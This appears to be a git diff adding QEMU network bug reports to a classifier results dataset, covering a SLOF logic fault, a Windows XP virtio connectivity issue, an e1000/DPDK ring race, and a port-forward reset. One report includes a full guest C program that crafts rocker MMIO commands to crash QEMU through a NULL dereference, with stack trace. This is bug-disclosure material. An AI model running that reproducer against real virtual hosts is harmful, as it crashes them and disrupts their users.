b/results/classifier/gemma3:12b/network/1840646 @@ -0,0 +1,12 @@ + +qemu-4.1.0/roms/SLOF/lib/libnet/ping.c:122: logical fault + +qemu-4.1.0/roms/SLOF/lib/libnet/ping.c:122:16: warning: Logical conjunction always evaluates to false: alen <= 0 && alen >= sizeof(args) - 1. [incorrectLogicOperator] + +Source code is + + if (alen <= 0 && alen >= sizeof(args) - 1) { + +Maybe better code: + + if (alen <= 0 || alen >= sizeof(args) - 1) { \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1843073 b/results/classifier/gemma3:12b/network/1843073 new file mode 100644 index 000000000..2561c96b1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1843073 @@ -0,0 +1,151 @@ + +Network loose connection for long time under light load guest winxp64 with virtio on i5-8350U + +I have issue with qemu and winxp guest on i5-8350U. + +First of all, if i run same vm with same config on i5 9660k i do not see such issue. +Both pc have ubuntu 19.04 x86_64. + +Guest is winxp64, tried: +1) stable guest drivers, latest drivers +2) all virtio, only network r18169, bridge to host eth0, just default virbr0. +3) qemu from ubuntu 19.04, and tried latest libvirt and qeumu compiled from sources. +4) tried zram as block device + +I need really lightweight win to run only one app, so win7 and win10 is not an option. + + +<!-- +WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE +OVERWRITTEN AND LOST. Changes to this xml configuration should be made using: + virsh edit winxp +or other application using the libvirt API. +--> + +<domain type='kvm'> + <name>winxp</name> + <uuid>93921ab3-222a-4e5f-89c4-36703fc65cb4</uuid> + <metadata> + <libosinfo:libosinfo xmlns:libosinfo="http://libosinfo.org/xmlns/libvirt/domain/1.0"> + <libosinfo:os id="http://microsoft.com/win/xp"/> + </libosinfo:libosinfo> + </metadata> + <memory unit='KiB'>8388608</memory> + <currentMemory unit='KiB'>8388608</currentMemory> + <vcpu placement='static'>4</vcpu> + <cputune> + <vcpupin vcpu='0' cpuset='2'/> + <vcpupin vcpu='1' cpuset='3'/> + <vcpupin vcpu='2' cpuset='6'/> + <vcpupin vcpu='3' cpuset='7'/> + </cputune> + <os> + <type arch='x86_64' machine='pc-i440fx-4.1'>hvm</type> + </os> + <features> + <acpi/> + <apic/> + <hyperv> + <relaxed state='on'/> + <vapic state='on'/> + <spinlocks state='on' retries='8191'/> + <vpindex state='on'/> + <synic state='on'/> + <stimer state='on'/> + </hyperv> + <vmport state='off'/> + </features> + <cpu mode='host-model' check='partial'> + <model fallback='allow'/> + </cpu> + <clock offset='localtime'> + <timer name='rtc' tickpolicy='catchup'/> + <timer name='pit' tickpolicy='delay'/> + <timer name='hpet' present='no'/> + <timer name='hypervclock' present='yes'/> + </clock> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>destroy</on_crash> + <pm> + <suspend-to-mem enabled='no'/> + <suspend-to-disk enabled='no'/> + </pm> + <devices> + <emulator>/usr/local/bin/qemu-system-x86_64</emulator> + <disk type='block' device='disk'> + <driver name='qemu' type='raw' cache='none' io='native'/> + <source dev='/dev/zram0'/> + <target dev='vdb' bus='virtio'/> + <shareable/> + <boot order='1'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x08' function='0x0'/> + </disk> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/var/lib/libvirt/images/virtio-win.iso'/> + <target dev='hdb' bus='ide'/> + <readonly/> + <address type='drive' controller='0' bus='0' target='0' unit='1'/> + </disk> + <controller type='usb' index='0' model='ich9-ehci1'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x7'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci1'> + <master startport='0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x0' multifunction='on'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci2'> + <master startport='2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x1'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci3'> + <master startport='4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x05' function='0x2'/> + </controller> + <controller type='pci' index='0' model='pci-root'/> + <controller type='ide' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x1'/> + </controller> + <controller type='virtio-serial' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x07' function='0x0'/> + </controller> + <interface type='network'> + <mac address='52:54:00:d1:b3:87'/> + <source network='default'/> + <model type='virtio'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> + </interface> + <serial type='pty'> + <target type='isa-serial' port='0'> + <model name='isa-serial'/> + </target> + </serial> + <console type='pty'> + <target type='serial' port='0'/> + </console> + <input type='tablet' bus='usb'> + <address type='usb' bus='0' port='1'/> + </input> + <input type='mouse' bus='ps2'/> + <input type='keyboard' bus='ps2'/> + <graphics type='spice' port='5900' autoport='no' listen='0.0.0.0'> + <listen type='address' address='0.0.0.0'/> + <image compression='auto_glz'/> + <jpeg compression='auto'/> + <zlib compression='auto'/> + <playback compression='off'/> + <streaming mode='off'/> + </graphics> + <sound model='ich6'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/> + </sound> + <video> + <model type='vga' vram='16384' heads='1' primary='yes'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/> + </video> + <memballoon model='virtio'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x06' function='0x0'/> + </memballoon> + </devices> +</domain> \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1851 b/results/classifier/gemma3:12b/network/1851 new file mode 100644 index 000000000..722078f1e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1851 @@ -0,0 +1,436 @@ + +hw/net/rocker: NULL pointer dereference in of_dpa_cmd_add_l2_flood +Description of problem: +rocker_tlv_parse_nested could return early because of no group ids in the group_tlvs. In such case tlvs is NULL; tlvs\[i + 1\] in the next for-loop will deref the NULL pointer. +Steps to reproduce: +Compile and run the following code within the guest: + +``` +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <assert.h> +#include <fcntl.h> +#include <inttypes.h> +#include <sys/mman.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <unistd.h> +#include <sys/io.h> +#include <stdint.h> +#include <stdbool.h> +#include <err.h> +#include <errno.h> +#include <pthread.h> + +/* + * Rocker DMA ring register offsets + */ +#define ROCKER_DMA_DESC_BASE 0x1000 +#define ROCKER_DMA_DESC_SIZE 32 +#define ROCKER_DMA_DESC_MASK 0x1F +#define ROCKER_DMA_DESC_TOTAL_SIZE \ + (ROCKER_DMA_DESC_SIZE * 64) /* 62 ports + event + cmd */ +#define ROCKER_DMA_DESC_ADDR_OFFSET 0x00 /* 8-byte */ +#define ROCKER_DMA_DESC_SIZE_OFFSET 0x08 +#define ROCKER_DMA_DESC_HEAD_OFFSET 0x0c +#define ROCKER_DMA_DESC_TAIL_OFFSET 0x10 +#define ROCKER_DMA_DESC_CTRL_OFFSET 0x14 +#define ROCKER_DMA_DESC_CREDITS_OFFSET 0x18 +#define ROCKER_DMA_DESC_RSVD_OFFSET 0x1c + +/* + * Rocker dma ctrl register bits + */ +#define ROCKER_DMA_DESC_CTRL_RESET (1 << 0) + +/* + * Rocker test registers + */ +#define ROCKER_TEST_REG 0x0010 +#define ROCKER_TEST_REG64 0x0018 /* 8-byte */ +#define ROCKER_TEST_IRQ 0x0020 +#define ROCKER_TEST_DMA_ADDR 0x0028 /* 8-byte */ +#define ROCKER_TEST_DMA_SIZE 0x0030 +#define ROCKER_TEST_DMA_CTRL 0x0034 + +/* + * Rocker general purpose registers + */ +#define ROCKER_CONTROL 0x0300 +#define ROCKER_PORT_PHYS_COUNT 0x0304 +#define ROCKER_PORT_PHYS_LINK_STATUS 0x0310 /* 8-byte */ +#define ROCKER_PORT_PHYS_ENABLE 0x0318 /* 8-byte */ +#define ROCKER_SWITCH_ID 0x0320 /* 8-byte */ + +/* + * Rocker test register ctrl + */ +#define ROCKER_TEST_DMA_CTRL_CLEAR (1 << 0) +#define ROCKER_TEST_DMA_CTRL_FILL (1 << 1) +#define ROCKER_TEST_DMA_CTRL_INVERT (1 << 2) + +#define __le16 uint16_t +#define __le32 uint32_t +#define __le64 uint64_t + +typedef struct rocker_desc { + __le64 buf_addr; + uint64_t cookie; + __le16 buf_size; + __le16 tlv_size; + __le16 rsvd[5]; /* pad to 32 bytes */ + __le16 comp_err; +} __attribute__((packed, aligned(8))) RockerDesc; + + +/* + * Rocker TLV type fields + */ + +typedef struct rocker_tlv { + __le32 type; + __le16 len; + __le16 rsvd; +} __attribute__((packed, aligned(8))) RockerTlv; + + +typedef struct cmd_group_msg { + RockerTlv tlv1; + __le64 t1_value; + RockerTlv tlv2; + __le64 t2_value; + RockerTlv tlv3; + __le64 t3_value; +} __attribute__((packed, aligned(8))) CmdGroupMsg; + + +typedef struct cmd_msg { + RockerTlv tlv1; + __le64 t1_value; + RockerTlv tlv2; + CmdGroupMsg group_msg; +} __attribute__((packed, aligned(8))) CmdMsg; + + +typedef struct rx_msg { + RockerTlv tlv1; + __le64 t1_value; + RockerTlv tlv2; + __le64 t2_value; + RockerTlv tlv3; + __le64 t3_value; + RockerTlv tlv4; + __le64 t4_value; + RockerTlv tlv5; + __le64 t5_value; +} __attribute__((packed, aligned(8))) RxMsg; + + +/* Rx msg */ +enum { + ROCKER_TLV_RX_UNSPEC, + ROCKER_TLV_RX_FLAGS, /* u16, see RX_FLAGS_ */ + ROCKER_TLV_RX_CSUM, /* u16 */ + ROCKER_TLV_RX_FRAG_ADDR, /* u64 */ + ROCKER_TLV_RX_FRAG_MAX_LEN, /* u16 */ + ROCKER_TLV_RX_FRAG_LEN, /* u16 */ + + __ROCKER_TLV_RX_MAX, + ROCKER_TLV_RX_MAX = __ROCKER_TLV_RX_MAX - 1, +}; + +/* Tx msg */ +enum { + ROCKER_TLV_TX_UNSPEC, + ROCKER_TLV_TX_OFFLOAD, /* u8, see TX_OFFLOAD_ */ + ROCKER_TLV_TX_L3_CSUM_OFF, /* u16 */ + ROCKER_TLV_TX_TSO_MSS, /* u16 */ + ROCKER_TLV_TX_TSO_HDR_LEN, /* u16 */ + ROCKER_TLV_TX_FRAGS, /* array */ + + __ROCKER_TLV_TX_MAX, + ROCKER_TLV_TX_MAX = __ROCKER_TLV_TX_MAX - 1, +}; + +/* cmd msg */ +enum { + ROCKER_TLV_CMD_UNSPEC, + ROCKER_TLV_CMD_TYPE, /* u16 */ + ROCKER_TLV_CMD_INFO, /* nest */ + + __ROCKER_TLV_CMD_MAX, + ROCKER_TLV_CMD_MAX = __ROCKER_TLV_CMD_MAX - 1, +}; + +enum { + ROCKER_TLV_CMD_TYPE_UNSPEC, + ROCKER_TLV_CMD_TYPE_GET_PORT_SETTINGS, + ROCKER_TLV_CMD_TYPE_SET_PORT_SETTINGS, + ROCKER_TLV_CMD_TYPE_OF_DPA_FLOW_ADD, + ROCKER_TLV_CMD_TYPE_OF_DPA_FLOW_MOD, + ROCKER_TLV_CMD_TYPE_OF_DPA_FLOW_DEL, + ROCKER_TLV_CMD_TYPE_OF_DPA_FLOW_GET_STATS, + ROCKER_TLV_CMD_TYPE_OF_DPA_GROUP_ADD, + ROCKER_TLV_CMD_TYPE_OF_DPA_GROUP_MOD, + ROCKER_TLV_CMD_TYPE_OF_DPA_GROUP_DEL, + ROCKER_TLV_CMD_TYPE_OF_DPA_GROUP_GET_STATS, + + __ROCKER_TLV_CMD_TYPE_MAX, + ROCKER_TLV_CMD_TYPE_MAX = __ROCKER_TLV_CMD_TYPE_MAX - 1, +}; + +/* + * cmd info nested for OF-DPA msgs + */ + +enum { + ROCKER_TLV_OF_DPA_UNSPEC, + ROCKER_TLV_OF_DPA_TABLE_ID, /* u16 */ + ROCKER_TLV_OF_DPA_PRIORITY, /* u32 */ + ROCKER_TLV_OF_DPA_HARDTIME, /* u32 */ + ROCKER_TLV_OF_DPA_IDLETIME, /* u32 */ + ROCKER_TLV_OF_DPA_COOKIE, /* u64 */ + ROCKER_TLV_OF_DPA_IN_PPORT, /* u32 */ + ROCKER_TLV_OF_DPA_IN_PPORT_MASK, /* u32 */ + ROCKER_TLV_OF_DPA_OUT_PPORT, /* u32 */ + ROCKER_TLV_OF_DPA_GOTO_TABLE_ID, /* u16 */ + ROCKER_TLV_OF_DPA_GROUP_ID, /* u32 */ + ROCKER_TLV_OF_DPA_GROUP_ID_LOWER, /* u32 */ + ROCKER_TLV_OF_DPA_GROUP_COUNT, /* u16 */ + ROCKER_TLV_OF_DPA_GROUP_IDS, /* u32 array */ + ROCKER_TLV_OF_DPA_VLAN_ID, /* __be16 */ + ROCKER_TLV_OF_DPA_VLAN_ID_MASK, /* __be16 */ + ROCKER_TLV_OF_DPA_VLAN_PCP, /* __be16 */ + ROCKER_TLV_OF_DPA_VLAN_PCP_MASK, /* __be16 */ + ROCKER_TLV_OF_DPA_VLAN_PCP_ACTION, /* u8 */ + ROCKER_TLV_OF_DPA_NEW_VLAN_ID, /* __be16 */ + ROCKER_TLV_OF_DPA_NEW_VLAN_PCP, /* u8 */ + ROCKER_TLV_OF_DPA_TUNNEL_ID, /* u32 */ + ROCKER_TLV_OF_DPA_TUNNEL_LPORT, /* u32 */ + ROCKER_TLV_OF_DPA_ETHERTYPE, /* __be16 */ + ROCKER_TLV_OF_DPA_DST_MAC, /* binary */ + ROCKER_TLV_OF_DPA_DST_MAC_MASK, /* binary */ + ROCKER_TLV_OF_DPA_SRC_MAC, /* binary */ + ROCKER_TLV_OF_DPA_SRC_MAC_MASK, /* binary */ + ROCKER_TLV_OF_DPA_IP_PROTO, /* u8 */ + ROCKER_TLV_OF_DPA_IP_PROTO_MASK, /* u8 */ + ROCKER_TLV_OF_DPA_IP_DSCP, /* u8 */ + ROCKER_TLV_OF_DPA_IP_DSCP_MASK, /* u8 */ + ROCKER_TLV_OF_DPA_IP_DSCP_ACTION, /* u8 */ + ROCKER_TLV_OF_DPA_NEW_IP_DSCP, /* u8 */ + ROCKER_TLV_OF_DPA_IP_ECN, /* u8 */ + ROCKER_TLV_OF_DPA_IP_ECN_MASK, /* u8 */ + ROCKER_TLV_OF_DPA_DST_IP, /* __be32 */ + ROCKER_TLV_OF_DPA_DST_IP_MASK, /* __be32 */ + ROCKER_TLV_OF_DPA_SRC_IP, /* __be32 */ + ROCKER_TLV_OF_DPA_SRC_IP_MASK, /* __be32 */ + ROCKER_TLV_OF_DPA_DST_IPV6, /* binary */ + ROCKER_TLV_OF_DPA_DST_IPV6_MASK, /* binary */ + ROCKER_TLV_OF_DPA_SRC_IPV6, /* binary */ + ROCKER_TLV_OF_DPA_SRC_IPV6_MASK, /* binary */ + ROCKER_TLV_OF_DPA_SRC_ARP_IP, /* __be32 */ + ROCKER_TLV_OF_DPA_SRC_ARP_IP_MASK, /* __be32 */ + ROCKER_TLV_OF_DPA_L4_DST_PORT, /* __be16 */ + ROCKER_TLV_OF_DPA_L4_DST_PORT_MASK, /* __be16 */ + ROCKER_TLV_OF_DPA_L4_SRC_PORT, /* __be16 */ + ROCKER_TLV_OF_DPA_L4_SRC_PORT_MASK, /* __be16 */ + ROCKER_TLV_OF_DPA_ICMP_TYPE, /* u8 */ + ROCKER_TLV_OF_DPA_ICMP_TYPE_MASK, /* u8 */ + ROCKER_TLV_OF_DPA_ICMP_CODE, /* u8 */ + ROCKER_TLV_OF_DPA_ICMP_CODE_MASK, /* u8 */ + ROCKER_TLV_OF_DPA_IPV6_LABEL, /* __be32 */ + ROCKER_TLV_OF_DPA_IPV6_LABEL_MASK, /* __be32 */ + ROCKER_TLV_OF_DPA_QUEUE_ID_ACTION, /* u8 */ + ROCKER_TLV_OF_DPA_NEW_QUEUE_ID, /* u8 */ + ROCKER_TLV_OF_DPA_CLEAR_ACTIONS, /* u32 */ + ROCKER_TLV_OF_DPA_POP_VLAN, /* u8 */ + ROCKER_TLV_OF_DPA_TTL_CHECK, /* u8 */ + ROCKER_TLV_OF_DPA_COPY_CPU_ACTION, /* u8 */ + + __ROCKER_TLV_OF_DPA_MAX, + ROCKER_TLV_OF_DPA_MAX = __ROCKER_TLV_OF_DPA_MAX - 1, +}; + +#define PAGE_SHIFT 12 +#define PAGE_SIZE (1 << PAGE_SHIFT) +#define PFN_PRESENT (1ull << 63) +#define PFN_PFN ((1ull << 55) - 1) + +uint64_t get_physical_pfn(void* ptr) +{ + uint64_t pfn = -1; + FILE* fp = fopen("/proc/self/pagemap", "rb"); + if (!fp) + { + return pfn; + } + + if (!fseek(fp, (unsigned long)ptr / PAGE_SIZE * 8, SEEK_SET)) + { + fread(&pfn, sizeof(pfn), 1, fp); + if (pfn & PFN_PRESENT) + { + pfn &= PFN_PFN; + } + } + fclose(fp); + return pfn; +} + +uint64_t get_physical_addr(void* ptr) +{ + uint64_t pfn = get_physical_pfn(ptr); + return pfn * PAGE_SIZE + (uint64_t)ptr % PAGE_SIZE; +} + +void* mmio_mem; + +void mmio_write(uint32_t addr, uint32_t value) +{ + *((uint32_t*)(mmio_mem + addr))= value; +} + +void mmio_write64(uint32_t addr, uint64_t value) +{ + *((uint64_t*)(mmio_mem + addr))= value; +} + +uint64_t mmio_read(uint32_t addr) +{ + return *((uint64_t*)(mmio_mem +addr)); +} + +uint64_t mmio_read64(uint64_t addr) +{ + return *((uint64_t*)(mmio_mem +addr)); +} + +uint64_t ring_desk_base_addr(int index) +{ + return ROCKER_DMA_DESC_BASE + index * 32; +} + +int main() +{ + int mmio_fd= open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); + if (mmio_fd== -1) { + printf("mmio_fd open failed"); + return 1; + } + + mmio_mem = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); + if (mmio_mem == MAP_FAILED) { + printf("mmap mmio_mem failed"); + return 1; + } + + iopl(3); + + RockerTlv cmd_group_tlv = {ROCKER_TLV_OF_DPA_GROUP_ID, sizeof(RockerTlv) + sizeof(__le64), 12345 }; + RockerTlv cmd_count_tlv = {ROCKER_TLV_OF_DPA_GROUP_COUNT, sizeof(RockerTlv) + sizeof(__le64), 12345}; + RockerTlv cmd_ids_tlv = {ROCKER_TLV_OF_DPA_GROUP_IDS, sizeof(RockerTlv) + sizeof(__le64), 12345 }; + + CmdGroupMsg group_msg = { cmd_group_tlv, 0x40000000, cmd_count_tlv, 65535, cmd_ids_tlv, 12345}; + + RockerTlv cmd_type_tlv = {ROCKER_TLV_CMD_TYPE, sizeof(RockerTlv) + sizeof(__le64), 12345 }; + RockerTlv cmd_info_tlv = {ROCKER_TLV_CMD_INFO, sizeof(RockerTlv) + sizeof(CmdGroupMsg), 12345 }; + CmdMsg cmd_msg = {cmd_type_tlv, ROCKER_TLV_CMD_TYPE_OF_DPA_GROUP_ADD, cmd_info_tlv, group_msg }; + RockerDesc cmd_desc = {get_physical_addr(&cmd_msg), 0xdeadbeef, sizeof(CmdMsg), sizeof(CmdMsg), 0x1, 0x4242 }; + + mmio_write64(ROCKER_PORT_PHYS_ENABLE, 0xE); + + // cmd ring + mmio_write(ring_desk_base_addr(0) + ROCKER_DMA_DESC_CTRL_OFFSET, ROCKER_DMA_DESC_CTRL_RESET); + // base_addr + mmio_write64(ring_desk_base_addr(0), get_physical_addr(&cmd_desc)); + mmio_write(ring_desk_base_addr(0) + ROCKER_DMA_DESC_SIZE_OFFSET, 8); + mmio_write(ring_desk_base_addr(0) + ROCKER_DMA_DESC_HEAD_OFFSET, 4); + + printf("End\n"); + return 0; +} +``` + +Stack trace: + +```plaintext +=================================================================================================== +ldl_he_p(const void * ptr) (/home/arayz/arayz/qemu-git-e1000e/include/qemu/bswap.h:359) +ldl_le_p(const void * ptr) (/home/arayz/arayz/qemu-git-e1000e/include/qemu/bswap.h:394) +rocker_tlv_get_le32(const RockerTlv * tlv) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_tlv.h:114) +of_dpa_cmd_add_l2_flood(OfDpa * of_dpa, OfDpaGroup * group, RockerTlv ** group_tlvs) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_of_dpa.c:2043) +of_dpa_cmd_group_do(OfDpa * of_dpa, uint32_t group_id, OfDpaGroup * group, RockerTlv ** group_tlvs) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_of_dpa.c:2125) +of_dpa_cmd_group_add(OfDpa * of_dpa, uint32_t group_id, RockerTlv ** group_tlvs) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_of_dpa.c:2145) +of_dpa_group_cmd(OfDpa * of_dpa, struct desc_info * info, char * buf, uint16_t cmd, RockerTlv ** group_tlvs) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_of_dpa.c:2204) +of_dpa_cmd(World * world, struct desc_info * info, char * buf, uint16_t cmd, RockerTlv * cmd_info_tlv) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_of_dpa.c:2234) +world_do_cmd(World * world, DescInfo * info, char * buf, uint16_t cmd, RockerTlv * cmd_info_tlv) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_world.c:43) +cmd_consume(Rocker * r, DescInfo * info) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker.c:450) +ring_pump(DescRing * ring) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_desc.c:242) +desc_ring_set_head(DescRing * ring, uint32_t new) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker_desc.c:281) +rocker_io_writel(void * opaque, hwaddr addr, uint32_t val) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker.c:805) +rocker_mmio_write(void * opaque, hwaddr addr, uint64_t val, unsigned int size) (/home/arayz/arayz/qemu-git-e1000e/hw/net/rocker/rocker.c:996) +memory_region_write_accessor(MemoryRegion * mr, hwaddr addr, uint64_t * value, unsigned int size, int shift, uint64_t mask, MemTxAttrs attrs) (/home/arayz/arayz/qemu-git-e1000e/softmmu/memory.c:492) +access_with_adjusted_size(hwaddr addr, uint64_t * value, unsigned int size, unsigned int access_size_min, unsigned int access_size_max, MemTxResult (*)(MemoryRegion *, hwaddr, uint64_t *, unsigned int, int, uint64_t, MemTxAttrs) access_fn, MemoryRegion * mr, MemTxAttrs attrs) (/home/arayz/arayz/qemu-git-e1000e/softmmu/memory.c:554) +memory_region_dispatch_write(MemoryRegion * mr, hwaddr addr, uint64_t data, MemOp op, MemTxAttrs attrs) (/home/arayz/arayz/qemu-git-e1000e/softmmu/memory.c:1514) +flatview_write_continue(FlatView * fv, hwaddr addr, MemTxAttrs attrs, const void * ptr, hwaddr len, hwaddr addr1, hwaddr l, MemoryRegion * mr) (/home/arayz/arayz/qemu-git-e1000e/softmmu/physmem.c:2783) +flatview_write(FlatView * fv, hwaddr addr, MemTxAttrs attrs, const void * buf, hwaddr len) (/home/arayz/arayz/qemu-git-e1000e/softmmu/physmem.c:2823) +address_space_write(AddressSpace * as, hwaddr addr, MemTxAttrs attrs, const void * buf, hwaddr len) (/home/arayz/arayz/qemu-git-e1000e/softmmu/physmem.c:2915) +address_space_rw(AddressSpace * as, hwaddr addr, MemTxAttrs attrs, void * buf, hwaddr len, _Bool is_write) (/home/arayz/arayz/qemu-git-e1000e/softmmu/physmem.c:2925) +kvm_cpu_exec(CPUState * cpu) (/home/arayz/arayz/qemu-git-e1000e/accel/kvm/kvm-all.c:2929) +kvm_vcpu_thread_fn(void * arg) (/home/arayz/arayz/qemu-git-e1000e/accel/kvm/kvm-accel-ops.c:49) +qemu_thread_start(void * args) (/home/arayz/arayz/qemu-git-e1000e/util/qemu-thread-posix.c:556) +libpthread.so.0!start_thread(void * arg) (/build/glibc-sMfBJT/glibc-2.31/nptl/pthread_create.c:477) +libc.so.6!clone() (/build/glibc-sMfBJT/glibc-2.31/sysdeps/unix/sysv/linux/x86_64/clone.S:95) +=================================================================================================== + + disassemble and register context: +=================================================================================================== +Dump of assembler code for function ldl_he_p: + 0x000055d8a1a473e6 <+0>: push %rbp + 0x000055d8a1a473e7 <+1>: mov %rsp,%rbp + 0x000055d8a1a473ea <+4>: sub $0x20,%rsp + 0x000055d8a1a473ee <+8>: mov %rdi,-0x18(%rbp) + 0x000055d8a1a473f2 <+12>: mov %fs:0x28,%rax + 0x000055d8a1a473fb <+21>: mov %rax,-0x8(%rbp) + 0x000055d8a1a473ff <+25>: xor %eax,%eax + 0x000055d8a1a47401 <+27>: mov -0x18(%rbp),%rax +=> 0x000055d8a1a47405 <+31>: mov (%rax),%eax + 0x000055d8a1a47407 <+33>: mov %eax,-0xc(%rbp) + 0x000055d8a1a4740a <+36>: mov -0xc(%rbp),%eax + 0x000055d8a1a4740d <+39>: mov -0x8(%rbp),%rdx + 0x000055d8a1a47411 <+43>: xor %fs:0x28,%rdx + 0x000055d8a1a4741a <+52>: je 0x55d8a1a47421 <ldl_he_p+59> + 0x000055d8a1a4741c <+54>: callq 0x55d8a186d6d0 <__stack_chk_fail@plt> + 0x000055d8a1a47421 <+59>: leaveq + 0x000055d8a1a47422 <+60>: retq +End of assembler dump. + +rax 0x8 8 +rbx 0x7f7828088ac0 140154044451520 +rcx 0x0 0 +rdx 0x7f7828088ac0 140154044451520 +rsi 0x8 8 +rdi 0x8 8 +rbp 0x7f7832cfd100 0x7f7832cfd100 +rsp 0x7f7832cfd0e0 0x7f7832cfd0e0 +r8 0x7f7828088ac0 140154044451520 +r9 0x7f7828000790 140154043893648 +r10 0x7f78280008d0 140154043893968 +r11 0x7f7828000080 140154043891840 +r12 0x7ffec007cb1e 140732120156958 +r13 0x7ffec007cb1f 140732120156959 +r14 0x7ffec007cbe0 140732120157152 +r15 0x7f7832cfdb00 140154225285888 +rip 0x55d8a1a47405 0x55d8a1a47405 <ldl_he_p+31> +eflags 0x10246 [ PF ZF IF RF ] +cs 0x33 51 +ss 0x2b 43 +ds 0x0 0 +es 0x0 0 +fs 0x0 0 +gs 0x0 0 +=================================================================================================== +``` +Additional information: +This was wrongly assigned a high-severity CVE and is being discussed on qemu-devel ML: https://lists.nongnu.org/archive/html/qemu-devel/2023-08/msg04621.html diff --git a/results/classifier/gemma3:12b/network/1853123 b/results/classifier/gemma3:12b/network/1853123 new file mode 100644 index 000000000..68893771e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1853123 @@ -0,0 +1,34 @@ + +Memory synchronization error between kvm and target, e1000(dpdk) + +Hi folks. + +I use linux with dpdk drivers on the target system, and e1000 emulation device with tap interface for host. I use kvm for accelerate. +Version qemu 4.0.94 and master (Nov 12 10:14:33 2019) +Version dpdk stable-17.11.4 +Version linux host 4.15.0-66-generic (ubuntu 18.04) + +I type command "ping <target ip> -f" and wait about 1-2 minutes. Network subsystem freezes. + +For receive the eth pack from host system (tap interface) to host system the e1000 using ring buffer. + +The e1000 write body of eth pack, set E1000_RXD_STAT_DD flag and move RDH (Ring Device Head). +(file hw/net/e1000.c function e1000_receive_iov() ) + +The dpdk driver is reading from E1000_RXD_STAT_DD flags (ignoring RDH), if flag is set: read buffer, unset flag E1000_RXD_STAT_DD and move RDT (Ring Device Tail). +(source drivers/net/e1000/em_rxtx.c function eth_em_recv_scattered_pkts() ) + +I see what the driver unet E1000_RXD_STAT_DD (rxdp->status = 0; ), but sometimes rxdp->status remains equal to 7. On the next cycle, this this buffer is read, RDT moved to far. RDH becomes equal RDT and network is freezes. + +If I insert some delay after unset E1000_RXD_STAT_DD, and repeatedly unset E1000_RXD_STAT_DD (if rxdp->status == 7 ), then all work fine. +If check E1000_RXD_STAT_DD without delay, status rxdp->status always valid. + +This only appears on kvm. If I use tcg all works fine. + +I trying set watchpoint for memory on the qemu (for tcg), and see, that for one package cycle of set/unse STAT_DD repeated once. + +I trying set watchpoint for memory on the qemu (for kvm), and see, that rxdp->status changed to 0(unset) only once, but is changes immediately before set flag. + + +Please help me with advice on how to catch and fix this error. +Theoretically, it would help me to trace the memory access when writing to E1000_RXD_STAT_DD, RHD and RDT, both from the target and the host system. But I have no idea how this can be done. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1855535 b/results/classifier/gemma3:12b/network/1855535 new file mode 100644 index 000000000..bcf49f72c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1855535 @@ -0,0 +1,43 @@ + +Connection reset by peer when using port fwd + +$ qemu-system-ppc64 -cpu POWER8,compat=power7 -machine pseries -m 8G -smp cores=8 -serial mon:stdio -nographic \ +-drive file=/qemu/aix72.img,if=none,id=drive-virtio-disk0 \ +-device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 \ +-cdrom /qemu/aix72.iso \ +-prom-env boot-command='boot disk:' \ +-name ctsprod -k es \ +-netdev user,id=netdev0,hostfwd=tcp:127.0.0.1:2222-:22 \ +-device virtio-net-pci,netdev=netdev0 \ +-netdev bridge,id=hostnet0,br=virbr0 \ +-device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:96:2f:7a \ +-device virtio-net,netdev=vmnic -netdev tap,id=vmnic,ifname=vnet0,script=no,downscript=no \ +-monitor telnet:127.0.0.1:5801,server,nowait,nodelay + + +$ ssh -p 2222 root@127.0.0.1 -v + +OpenSSH_7.6p1 Ubuntu-4ubuntu0.3, OpenSSL 1.0.2n 7 Dec 2017 +debug1: Reading configuration data /etc/ssh/ssh_config +debug1: /etc/ssh/ssh_config line 19: Applying options for * +debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222. +debug1: Connection established. +debug1: permanently_set_uid: 0/0 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_rsa type -1 +debug1: key_load_public: No such file or directory +debug1: identity file /root/.ssh/id_rsa-cert type -1 +debug1: key_load_public: No such file or directory +debug1: identity file 